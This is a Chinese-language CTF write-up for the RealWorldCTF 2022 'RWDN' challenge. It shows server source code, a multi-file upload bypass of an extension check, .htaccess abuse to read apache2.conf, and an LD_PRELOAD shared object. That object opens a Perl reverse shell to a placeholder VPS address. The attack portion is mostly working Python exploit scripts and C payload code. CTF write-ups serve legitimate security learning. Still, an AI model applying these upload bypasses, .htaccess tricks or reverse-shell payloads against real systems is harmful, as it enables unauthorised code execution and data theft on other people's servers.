[RealWorldCTF2022] RWDN
RWDN
考点
多文件上传绕过
Apache .htaccess文件的妙用
LD_PRELOAD加载恶意so RCE
解题
进入/source
获得源码:
const express = require('express');
const fileUpload = require('express-fileupload');
const md5 = require('md5');
const { v4: uuidv4 } = require('uuid');
const check = require('./check');
const app = express();
const PORT = 8000;
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.use(fileUpload({
useTempFiles : true,
tempFileDir : '/tmp/',
createParentPath : true
}));
app.use('/upload',check());
app.get('/source', function(req, res) {
if (req.query.checkin){
res.sendfile('/src/check.js');
}
res.sendfile('/src/server.js');
});
app.get('/', function(req, res) {
var formid = "form-" + uuidv4();
res.render('index', {formid : formid} );
});
app.post('/upload', function(req, res) {
let sampleFile;
let uploadPath;
let userdir;
let userfile;
sampleFile = req.files[req.query.formid];
userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
userfile = sampleFile.name.toString();
if(userfile.includes('/')||userfile.includes('..')){
return res.status(500).send("Invalid file name");
}
uploadPath = '/uploads/' + userdir + '/' + userfile;
sampleFile.mv(uploadPath, function(err) {
if (err) {
return res.status(500).send(err);
}
res.send('File uploaded to http://47.243.75.225:31338/' + userdir + '/' + userfile);
});
});
app.listen(PORT, function() {
console.log('Express server listening on port ', PORT);
});
然后请求/source?checkin=1
得到check
的源码:
module.exports = () => {
return (req, res, next) => {
if ( !req.query.formid || !req.files || Object.keys(req.files).length === 0) {
res.status(400).send('Something error.');
return;
}
Object.keys(req.files).forEach(function(key){
var filename = req.files[key].name.toLowerCase();
var position = filename.lastIndexOf('.');
if (position == -1) {
return next();
}
var ext = filename.substr(position);
var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld'];
if ( !allowexts.includes(ext) ){
res.status(400).send('Something error.');
return;
}
return next();
});
};
};
注意这里的代码:
Object.keys(req.files).forEach(function(key){
var filename = req.files[key].name.toLowerCase();
var position = filename.lastIndexOf('.');
if (position == -1) {
return next();
}
这里只遍历了表单的第一个文件,因此我们可以使用多文件上传的方法来绕过这里的check,只需要第一个文件符合要求即可通过。
写一个多文件上传的exp,这个环境其实没有什么可用的方法可以直接GetShell,但是可以通过.htaccess
文件来RCE。
import requests,sys
url = "http://47.243.75.225:31337"
#上传文件名称
name = ".htaccess"
#写入文件内容,利用.htaccess文件设置404页面来外带文件内容
content = """
ErrorDocument 404 "%{file:/etc/apache2/apache2.conf}"
"""
def upload(name, content):
u = requests.post(url + "/upload", params={
"formid": "theFirstOne"
}, files={
"theFirstOne": ("1.jpg", content),
}).text
resp = requests.post(url + "/upload", params={
"formid": "Payload"
}, files={
"theFirstOne": ("1.jpg", content), #上传合法的文件来绕过check
"Payload": (name, content), #多文件上传夹带恶意文件
}).text
return u.replace("1.jpg", "handsome")
url = upload(name, content).replace("File uploaded to ","")
r = requests.get(url=url)
if(r.status_code==500):
pass
else:
print(r.text)
这样就可以读取到apache2.conf的配置文件,留意到相比默认的配置文件,这里多了一行ExtFilter:
# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
ExtFilterDefine 7f39f8317fgzip mode=output cmd=/bin/gzip
.htaccess文档中有setenv命令可以配合调用/gzip设置LD_PRELOAD,从而实现RCE
先编译生成一个恶意执行代码的so文件:
#define _GNU_SOURCE
#include
#include
#include
#include
__attribute__((constructor)) void l3yx(){
unsetenv("LD_PRELOAD");
system("perl -e 'use Socket;$i=\"VPS_IP\";$p=VPS_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'");
}
编译:gcc 1.c -fPIC -shared -o 1.so
然后还是同样的方法上传so文件:
import requests,sys
url = "http://47.243.75.225:31337"
so_name = "exp.so"
so_content = open("1.so","rb").read()
def upload(name, content):
u = requests.post(url + "/upload", params={
"formid": "theFirstOne"
}, files={
"theFirstOne": ("1.jpg", content),
}).text
resp = requests.post(url + "/upload", params={
"formid": "Payload"
}, files={
"theFirstOne": ("1.jpg", content), #上传合法的文件来绕过check
"Payload": (name, content), #多文件上传夹带恶意文件
}).text
return u.replace("1.jpg", "")
so_path = '/var/www/html'+upload(so_name, so_content).replace("File uploaded to ","")[26:]+so_name
print(so_path)
name = '.htaccess'
content = """
SetEnv LD_PRELOAD """+so_path+"""
SetOutputFilter 7f39f8317fgzip
"""
url = upload(name, content).replace("File uploaded to ","")
r = requests.get(url=url)
if(r.status_code==500):
pass
else:
print(r.text)
服务器上监听端口,运行脚本然后就可以反弹Shell,之后执行/readflag
做一个简单的计算题就可以获得flag:
还需要注意的一点是so文件一定要在linux下编译,复现的时候就是忘了这点,在mac下编译出来so文件,半天没有打通??
参考
https://guokeya.github.io/post/Tqvzh3DoQ/